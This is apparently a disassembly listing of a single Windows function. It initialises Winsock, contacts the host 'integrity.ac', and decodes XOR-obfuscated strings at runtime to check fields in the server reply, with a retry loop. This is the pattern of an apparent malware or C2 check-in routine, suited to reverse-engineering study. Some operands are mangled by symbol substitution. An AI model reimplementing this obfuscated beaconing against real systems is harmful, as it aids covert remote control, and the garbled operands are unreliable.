Function at 0x14000b8c0
Capabilities:
Initialize winsock library

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x620
movaps xmmword [rsp + 0x610], xmm6
xor eax, eax
mov dword [rsp + 0x80], eax
mov dword [rsp + 0x678], eax
mov byte [rsp + 0x660], al
mov ebx, eax
mov dword [rsp + 0x670], eax
movdqa xmm6, xmmword [0x140090110]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp ebx, 5
jg 0x14000ca3d
lea rcx, [rsp + 0x1a0]
call fcn.140010100
nop
lea rdx, str.http:__integrity.ac
lea rcx, [rsp + 0x1b0]
call fcn.140017ed0
mov qword [rsp + 0x668], rax
movdqu xmmword [rsp + 0x30], xmm6
mov cl, 0x5f
mov dl, 0x58
mov r8b, 0x50
mov r9b, 0x59
mov r11b, 9
mov bl, 0x45
mov dil, 0x42
mov sil, 0x53
mov r14b, 0x57
mov r15b, 0x5b
movzx r12d, cl
mov r13b, 0x52
movdqa xmm0, xmm6
psrldq xmm0, 1
movd eax, xmm0
movd r10d, xmm6
xor al, r10b
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], r10b
xor byte [rsp + 0x33], r10b
xor byte [rsp + 0x34], r10b
xor byte [rsp + 0x35], r10b
xor byte [rsp + 0x36], r10b
xor byte [rsp + 0x37], r10b
xor byte [rsp + 0x38], r10b
xor byte [rsp + 0x39], r10b
xor byte [rsp + 0x3a], r10b
xor byte [rsp + 0x3b], r10b
xor byte [rsp + 0x3c], r10b
xor byte [rsp + 0x3d], r10b
xor byte [rsp + 0x3e], r10b
xor byte [rsp + 0x3f], r10b
xor cl, r10b
mov byte [rsp + 0x40], cl
xor dl, r10b
mov byte [rsp + 0x41], dl
xor r8b, r10b
mov byte [rsp + 0x42], r8b
xor r9b, r10b
mov byte [rsp + 0x43], r9b
xor r11b, r10b
mov byte [rsp + 0x44], r11b
xor bl, r10b
mov byte [rsp + 0x45], bl
xor dil, r10b
mov byte [rsp + 0x46], dil
xor sil, r10b
mov byte [rsp + 0x47], sil
xor r14b, r10b
mov byte [rsp + 0x48], r14b
xor r15b, r10b
mov byte [rsp + 0x49], r15b
xor r12b, r10b
mov byte [rsp + 0x4a], r12b
xor r13b, r10b
mov byte [rsp + 0x4b], r13b
mov al, 0xb
xor al, r10b
mov byte [rsp + 0x4c], al
mov byte [rsp + 0x4d], 0
lea rdx, [rsp + 0x31]
mov rcx, qword [rsp + 0x668]
call fcn.140017ed0
mov rdx, qword [0x1400a63d8]
mov rcx, rax
call fcn.140010680
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x88], xmm0
xor r14d, r14d
mov qword [rsp + 0x98], r14
mov qword [rsp + 0xa0], setsockopt
mov byte [rsp + 0x88], r14b
mov r15d, dword [rsp + 0x80]
or r15d, 2
mov dword [rsp + 0x678], r15d
xor eax, eax
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rax
mov ecx, dword [rsp + 0x228]
mov eax, ecx
and al, 0x22
cmp al, 2
je 0x14000badf
mov rax, qword [rsp + 0x1f8]
mov r8, qword [rax]
test r8, r8
je 0x14000badf
mov rax, qword [rsp + 0x1d8]
mov rdx, qword [rax]
cmp r8, qword [rsp + 0x220]
cmovb r8, qword [rsp + 0x220]
sub r8, rdx
jmp 0x14000bb1c
test cl, 4
jne 0x14000bb12
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rax]
test rcx, rcx
je 0x14000bb12
mov rax, qword [rsp + 0x1d0]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x208]
movsxd r8, dword [rax]
sub r8, rdx
add r8, rcx
jmp 0x14000bb1c
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x14000bb2e
lea rcx, [rsp + 0x88]
call fcn.1400147e0
and r15d, 0xfffffffd
or r15d, 1
mov dword [rsp + 0x678], r15d
mov byte [rsp + 0x2d0], 0
mov ecx, 0x202
lea rdx, [rsp + 0x460]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14000ca60
movzx eax, word [rsp + 0x460]
cmp al, 2
jne 0x14000cb18
shr ax, 8
cmp al, 2
jne 0x14000cb18
mov word [rsp + 0x2d0], 1
lea rdx, [rsp + 0x88]
cmp qword [rsp + 0xa0], 0xf
cmova rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x98]
add r8, rdx
lea rdx, [rsp + 0x88]
cmp qword [rsp + 0xa0], 0xf
cmova rdx, qword [rsp + 0x88]
lea rcx, [rsp + 0x2d8]
call fcn.140016680
nop
mov rdx, qword [rsp + 0xa0]
cmp rdx, 0xf
jbe 0x14000bc17
inc rdx
mov rcx, qword [rsp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bc12
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ca92
call fcn.140045884
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r14
movups xmmword [rsp + 0x160], xmm0
mov qword [rsp + 0x170], r14
mov qword [rsp + 0x178], setsockopt
mov byte [rsp + 0x160], 0
mov byte [rsp + 0x5c], 0x78
mov al, 0x3f
mov cl, 0x3d
mov dl, 0x2c
xor r8d, r8d
xor al, 0x78
mov byte [rsp + 0x5d], al
xor cl, 0x78
mov byte [rsp + 0x5e], cl
xor dl, 0x78
mov byte [rsp + 0x5f], dl
mov byte [rsp + 0x60], r8b
movups xmmword [rsp + 0xb8], xmm0
mov qword [rsp + 0xc8], r14
mov qword [rsp + 0xd0], r14
lea rax, [rsp + 0x5d]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14000bc94
lea rdx, [rsp + 0x5d]
lea rcx, [rsp + 0xb8]
call fcn.140018a50
nop
lea rdi, [rsp + 0x160]
cmp qword [rsp + 0x178], 0xf
cmova rdi, qword [rsp + 0x160]
add rdi, qword [rsp + 0x170]
lea rsi, [rsp + 0x160]
cmp qword [rsp + 0x178], 0xf
cmova rsi, qword [rsp + 0x160]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x88], xmm0
mov qword [rsp + 0x98], r14
sub rdi, rsi
je 0x14000bd4b
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x14000ca98
mov rdx, rdi
lea rcx, [rsp + 0x88]
call fcn.14001c490
mov rbx, qword [rsp + 0x88]
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call fcn.140076950
lea rax, [rbx + rdi]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x28], 0xffffffffffffffff
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x88]
lea r8, [rsp + 0xb8]
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x2d0]
call fcn.1400047f0
or r15d, 4
mov dword [rsp + 0x80], r15d
mov dword [rsp + 0x678], r15d
mov rcx, qword [rsp + 0x88]
test rcx, rcx
je 0x14000bdda
mov rdx, qword [rsp + 0x98]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bdd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ca9d
call fcn.140045884
nop
mov rdx, qword [rsp + 0xd0]
cmp rdx, 0xf
jbe 0x14000be1d
inc rdx
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000be18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000caa3
call fcn.140045884
mov qword [rsp + 0xc8], r14
mov qword [rsp + 0xd0], setsockopt
mov byte [rsp + 0xb8], 0
mov rdx, qword [rsp + 0x178]
cmp rdx, 0xf
jbe 0x14000be7c
inc rdx
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000be77
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000caa9
call fcn.140045884
mov qword [rsp + 0x170], r14
mov qword [rsp + 0x178], setsockopt
mov byte [rsp + 0x160], 0
mov rbx, qword [rsp + 0x30]
test rbx, rbx
je 0x14000beff
mov rdi, qword [rsp + 0x38]
cmp rbx, rdi
je 0x14000bec6
nop dword [rax]
mov rcx, rbx
call fcn.140004740
add rbx, 0x40
cmp rbx, rdi
jne 0x14000beb0
mov rbx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
sub rdx, rbx
and rdx, 0xffffffffffffffc0
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000bef7
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000caaf
mov rcx, rbx
call fcn.140045884
lea rax, [rsp + 0x3e0]
mov qword [rsp + 0x668], rax
mov qword [rsp + 0x418], r14
mov r8, qword [rsp + 0x148]
mov rdx, qword [rsp + 0x140]
lea rcx, [rsp + 0xb8]
call fcn.140018180
nop
lea r8, [rsp + 0x3e0]
mov rdx, rax
lea rcx, [rsp + 0xa8]
call fcn.1400182b0
nop
mov rdx, qword [rsp + 0xd0]
cmp rdx, 0xf
jbe 0x14000bf91
inc rdx
mov rcx, qword [rsp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000bf8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cab5
call fcn.140045884
mov qword [rsp + 0xc8], r14
mov qword [rsp + 0xd0], setsockopt
mov byte [rsp + 0xb8], 0
mov byte [rsp + 0x73], 0x63
mov al, reloc.WS2_32.dll_recv
mov cl, reloc.WS2_32.dll_socket
mov dl, 2
movzx r8d, cl
mov r9b, socket
movzx r10d, al
mov r11b, 0x20
mov bl, 0xc
mov dil, 7
mov sil, 6
xor r12d, r12d
xor al, 0x63
mov byte [rsp + 0x74], al
xor cl, 0x63
mov byte [rsp + 0x75], cl
xor dl, 0x63
mov byte [rsp + 0x76], dl
xor r8b, 0x63
mov byte [rsp + 0x77], r8b
xor r9b, 0x63
mov byte [rsp + 0x78], r9b
xor r10b, 0x63
mov byte [rsp + 0x79], r10b
xor r11b, 0x63
mov byte [rsp + 0x7a], r11b
xor bl, 0x63
mov byte [rsp + 0x7b], bl
xor dil, 0x63
mov byte [rsp + 0x7c], dil
xor sil, 0x63
mov byte [rsp + 0x7d], sil
mov byte [rsp + 0x7e], r12b
lea rdx, [rsp + 0x74]
lea rcx, [rsp + 0xa8]
call fcn.1400183d0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x88], xmm0
xor eax, eax
mov qword [rsp + 0x90], rax
movzx edx, byte [rsp + 0x88]
lea rcx, [rsp + 0x90]
call fcn.140015640
mov byte [rsp + 0x88], 5
mov qword [rsp + 0x90], 0xc8
movzx ecx, byte [rbx]
cmp cl, 7
jne 0x14000c092
movsd xmm0, qword [rbx + 8]
ucomisd xmm0, xmm0
setp al
cmp al, 1
je 0x14000c097
cmp cl, 9
jne 0x14000c09b
xor bl, bl
jmp 0x14000c0b1
lea rdx, [rsp + 0x88]
mov rcx, rbx
call fcn.14001bfd0
movzx ebx, al
xor bl, 1
mov dl, 5
lea rcx, [rsp + 0x90]
call fcn.140015640
nop
test bl, bl
je 0x14000c1e1
mov ebx, dword [rsp + 0x670]
inc ebx
mov dword [rsp + 0x670], ebx
movzx edx, byte [rsp + 0xa8]
lea rcx, [rsp + 0xb0]
call fcn.140015640
nop
mov rcx, qword [rsp + 0x140]
test rcx, rcx
je 0x14000c145
mov rdx, qword [rsp + 0x150]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c12c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cb12
call fcn.140045884
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x150], r14
lea rcx, [rsp + 0x128]
call fcn.140014750
mov rdx, qword [rsp + 0x120]
cmp rdx, 0xf
jbe 0x14000c195
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c190
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cb12
call fcn.140045884
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x120], setsockopt
mov byte [rsp + 0x108], 0
lea rcx, [rsp + 0x2d8]
call fcn.140005b60
cmp byte [rsp + 0x2d0], 0
je 0x14000c1cf
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
lea rcx, [rsp + 0x1a0]
call fcn.14000cb50
jmp 0x14000b903
mov byte [rsp + 0x50], 0x65
mov al, 1
mov cl, 4
mov dl, select
movzx r8d, cl
xor r9d, r9d
xor al, 0x65
mov byte [rsp + 0x51], al
xor cl, 0x65
mov byte [rsp + 0x52], cl
xor dl, 0x65
mov byte [rsp + 0x53], dl
xor r8b, 0x65
mov byte [rsp + 0x54], r8b
mov byte [rsp + 0x55], r9b
movzx esi, byte [rsp + 0xa8]
mov byte [rsp + 0x668], sil
cmp sil, 1
jne 0x14000c902
mov rax, qword [rsp + 0xb0]
mov r12, qword [rax]
mov rbx, qword [r12 + 8]
mov r13, r12
cmp byte [rbx + 0x19], r9b
jne 0x14000c2a3
lea rax, [rsp + 0x51]
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], r9b
jne 0x14000c254
nop dword [rax]
lea rcx, [rbx + 0x20]
mov rsi, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x14000c272
mov rcx, qword [rcx]
mov r8, rsi
cmp rdi, rsi
cmovb r8, rdi
lea rdx, [rsp + 0x51]
call fcn.140077430
test eax, eax
jne 0x14000c2fc
cmp rsi, rdi
jb 0x14000c2fe
mov r13, rbx
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
je 0x14000c260
movzx esi, byte [rsp + 0x668]
cmp byte [r13 + 0x19], 0
jne 0x14000c902
lea rcx, [r13 + 0x20]
lea rax, [rsp + 0x51]
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x14000c2c0
mov rdi, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x14000c2d7
mov rcx, qword [rcx]
mov r8, rdi
cmp rbx, rdi
cmovb r8, rbx
lea rdx, [rsp + 0x51]
call fcn.140077430
test eax, eax
jne 0x14000c304
cmp rdi, rbx
jb 0x14000c30a
ja 0x14000c902
jmp 0x14000c30a
jns 0x14000c28f
mov rbx, qword [rbx + 0x10]
jmp 0x14000c295
jg 0x14000c902
cmp r13, r12
je 0x14000c902
mov byte [rsp + 0x61], 0x1d
mov al, 0x79
mov cl, 0x7c
mov dl, 0x69
movzx r8d, cl
xor r9d, r9d
xor al, 0x1d
mov byte [rsp + 0x62], al
xor cl, 0x1d
mov byte [rsp + 0x63], cl
xor dl, 0x1d
mov byte [rsp + 0x64], dl
xor r8b, 0x1d
mov byte [rsp + 0x65], r8b
mov byte [rsp + 0x66], r9b
lea rdx, [rsp + 0x62]
lea rcx, [rsp + 0xa8]
call fcn.1400183d0
mov byte [rsp + 0x56], WSACleanup
mov cl, 0x1e
mov dl, select
mov r8b, 0x1d
mov r9b, reloc.WS2_32.dll_setsockopt
xor r10d, r10d
xor cl, 0x70
mov byte [rsp + 0x57], cl
xor dl, 0x70
mov byte [rsp + 0x58], dl
xor r8b, 0x70
mov byte [rsp + 0x59], r8b
xor r9b, 0x70
mov byte [rsp + 0x5a], r9b
mov byte [rsp + 0x5b], r10b
cmp byte [rax], 1
jne 0x14000c7ea
mov rax, qword [rax + 8]
mov r12, qword [rax]
mov rbx, qword [r12 + 8]
mov r13, r12
cmp byte [rbx + 0x19], r10b
jne 0x14000c40b
lea rax, [rsp + 0x57]
mov rdi, 0xffffffffffffffff
nop word [rax + rax]
inc rdi
cmp byte [rax + rdi], r10b
jne 0x14000c3c0
nop dword [rax]
lea rcx, [rbx + 0x20]
mov rsi, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x14000c3e2
mov rcx, qword [rcx]
mov r8, rsi
cmp rdi, rsi
cmovb r8, rdi
lea rdx, [rsp + 0x57]
call fcn.140077430
test eax, eax
jne 0x14000c462
cmp rsi, rdi
jb 0x14000c464
mov r13, rbx
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
je 0x14000c3d0
cmp byte [r13 + 0x19], 0
jne 0x14000c7ea
lea rcx, [r13 + 0x20]
lea rax, [rsp + 0x57]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], 0
jne 0x14000c426
mov rdi, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x14000c43d
mov rcx, qword [rcx]
mov r8, rdi
cmp rbx, rdi
cmovb r8, rbx
lea rdx, [rsp + 0x57]
call fcn.140077430
test eax, eax
jne 0x14000c46a
cmp rdi, rbx
jb 0x14000c470
ja 0x14000c7ea
jmp 0x14000c470
jns 0x14000c3ff
mov rbx, qword [rbx + 0x10]
jmp 0x14000c405
jg 0x14000c7ea
cmp r13, r12
je 0x14000c7ea
mov byte [rsp + 0x660], 1
mov byte [rsp + 0x67], 0x5c
mov al, 0x38
mov cl, 0x3d
mov dl, 0x28
movzx r8d, cl
xor r9d, r9d
xor al, 0x5c
mov byte [rsp + 0x68], al
xor cl, 0x5c
mov byte [rsp + 0x69], cl
xor dl, 0x5c
mov byte [rsp + 0x6a], dl
xor r8b, 0x5c
mov byte [rsp + 0x6b], r8b
mov byte [rsp + 0x6c], r9b
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0xa8]
call fcn.1400183d0
mov byte [rsp + 0x6d], 0x29
mov cl, 0x47
mov dl, 0x48
mov r8b, 0x44
mov r9b, 0x4c
xor r10d, r10d
xor cl, 0x29
mov byte [rsp + 0x6e], cl
xor dl, 0x29
mov byte [rsp + 0x6f], dl
xor r8b, 0x29
mov byte [rsp + 0x70], r8b
xor r9b, 0x29
mov byte [rsp + 0x71], r9b
mov byte [rsp + 0x72], r10b
lea rdx, [rsp + 0x6e]
mov rcx, rax
call fcn.1400183d0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0xd8], xmm0
mov r8, r14
mov qword [rsp + 0xe8], r14
mov edx, recv
mov qword [rsp + 0xf0], rdx
mov byte [rsp + 0xd8], r8b
or r15d, 0x20
mov dword [rsp + 0x678], r15d
cmp byte [rax], 3
jne 0x14000cabb
mov rax, qword [rax + 8]
lea rcx, [rsp + 0xd8]
cmp rcx, rax
je 0x14000c58a
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], rdx
jbe 0x14000c56a
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0xd8]
call fcn.1400147e0
mov rdx, qword [rsp + 0xf0]
mov r8, qword [rsp + 0xe8]
and r15d, 0xffffffdf
or r15d, 0x10
mov dword [rsp + 0x678], r15d
lea r9, [rsp + 0xd8]
mov rcx, qword [rsp + 0xd8]
cmp rdx, 0xf
cmova r9, rcx
add r9, r8
lea rax, [rsp + 0xd8]
cmp rdx, 0xf
cmova rax, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0xb8], xmm0
mov qword [rsp + 0xc8], r14
mov qword [rsp + 0xd0], r14
cmp rax, r9
jne 0x14000c5fc
mov qword [rsp + 0xd0], 7
mov word [rsp + 0xb8], r14w
jmp 0x14000c61f
sub r9, rax
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.14001eea0
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0xd8]
mov rax, qword [reloc.WS2_32.dll_getsockopt]
cmp rax, 7
jbe 0x14000c675
lea rdx, [rax*2 + 2]
mov rcx, qword [0x1400a0e88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c660
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cb06
call fcn.140045884
mov rdx, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0xd8]
movups xmm0, xmmword [rsp + 0xb8]
movups xmmword [0x1400a0e88], xmm0
movups xmm1, xmmword [rsp + 0xc8]
movups xmmword [0x1400a0e98], xmm1
cmp rdx, 0xf
jbe 0x14000c6c6
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c6c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cb0c
call fcn.140045884
mov qword [rsp + 0xe8], r14
mov qword [rsp + setsockopt0], 0xf
mov byte [rsp + 0xd8], 0
movzx edx, byte [rsp + 0xa8]
lea rcx, [rsp + 0xb0]
call fcn.140015640
nop
mov rcx, qword [rsp + 0x140]
test rcx, rcx
je 0x14000c74e
mov rdx, qword [rsp + 0x150]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c735
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cb12
call fcn.140045884
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x150], r14
lea rcx, [rsp + 0x128]
call fcn.140014750
mov rdx, qword [rsp + 0x120]
cmp rdx, 0xf
jbe 0x14000c79e
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c799
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cb12
call fcn.140045884
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x120], setsockopt
mov byte [rsp + 0x108], 0
lea rcx, [rsp + 0x2d8]
call fcn.140005b60
cmp byte [rsp + 0x2d0], 0
je 0x14000c7d8
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
lea rcx, [rsp + 0x1a0]
call fcn.14000cb50
jmp 0x14000ca3d
mov ebx, dword [rsp + 0x670]
inc ebx
mov dword [rsp + 0x670], ebx
movzx edx, byte [rsp + 0xa8]
lea rcx, [rsp + 0xb0]
call fcn.140015640
nop
mov rcx, qword [rsp + 0x140]
test rcx, rcx
je 0x14000c866
mov rdx, qword [rsp + 0x150]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c84d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cb12
call fcn.140045884
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x150], r14
lea rcx, [rsp + 0x128]
call fcn.140014750
mov rdx, qword [rsp + 0x120]
cmp rdx, 0xf
jbe 0x14000c8b6
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c8b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cb12
call fcn.140045884
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x120], setsockopt
mov byte [rsp + 0x108], 0
lea rcx, [rsp + 0x2d8]
call fcn.140005b60
cmp byte [rsp + 0x2d0], 0
je 0x14000c8f0
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
lea rcx, [rsp + 0x1a0]
call fcn.14000cb50
jmp 0x14000b903
mov ebx, dword [rsp + 0x670]
inc ebx
mov dword [rsp + 0x670], ebx
movzx edx, sil
lea rcx, [rsp + 0xb0]
call fcn.140015640
nop
mov rcx, qword [rsp + 0x140]
test rcx, rcx
je 0x14000c97a
mov rdx, qword [rsp + 0x150]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c961
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cb12
call fcn.140045884
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x150], r14
lea rcx, [rsp + 0x128]
call fcn.140014750
mov rdx, qword [rsp + 0x120]
cmp rdx, 0xf
jbe 0x14000c9ca
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c9c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cb12
call fcn.140045884
mov qword [rsp + 0x118], r14
mov qword [rsp + 0x120], setsockopt
mov byte [rsp + 0x108], 0
lea rcx, [rsp + 0x2d8]
call fcn.140005b60
cmp byte [rsp + 0x2d0], 0
je 0x14000ca04
call qword [sym.imp.WS2_32.dll_WSACleanup]
nop
lea rcx, [rsp + 0x1a0]
call fcn.14000cb50
jmp 0x14000b903
movzx eax, byte [rsp + 0x660]
movaps xmm6, xmmword [rsp + 0x610]
add rsp, 0x620
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
lea r9, str.WSAStartup_failed
lea r8, [0x1400a0f28]
mov edx, eax
lea rcx, [rsp + 0x2a0]
call fcn.140001b60
lea rdx, [0x14009e098]
lea rcx, [rsp + 0x2a0]
call fcn.1400479a8
nop
call fcn.14005e594
nop
call fcn.140014730
call fcn.14005e594
nop
call fcn.14005e594
nop
call fcn.14005e594
nop
call fcn.14005e594
nop
call fcn.14005e594
nop
mov rcx, rax
call fcn.14001bf40
mov qword [rsp + 0x668], rax
lea r8, [rsp + 0x668]
lea rcx, [rsp + 0xb8]
call fcn.140027850
nop
mov r8, rax
lea rcx, [rsp + 0x420]
call fcn.140027900
lea rdx, [0x14009e800]
lea rcx, [rsp + 0x420]
call fcn.1400479a8
nop
call fcn.14005e594
nop
call fcn.14005e594
nop
call fcn.14005e594
nop
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rdx, str.Invalid_WinSock_version
lea rcx, [rsp + 0x180]
call fcn.1400017e0
lea rdx, [0x14009e128]
lea rcx, [rsp + 0x180]
call fcn.1400479a8
int3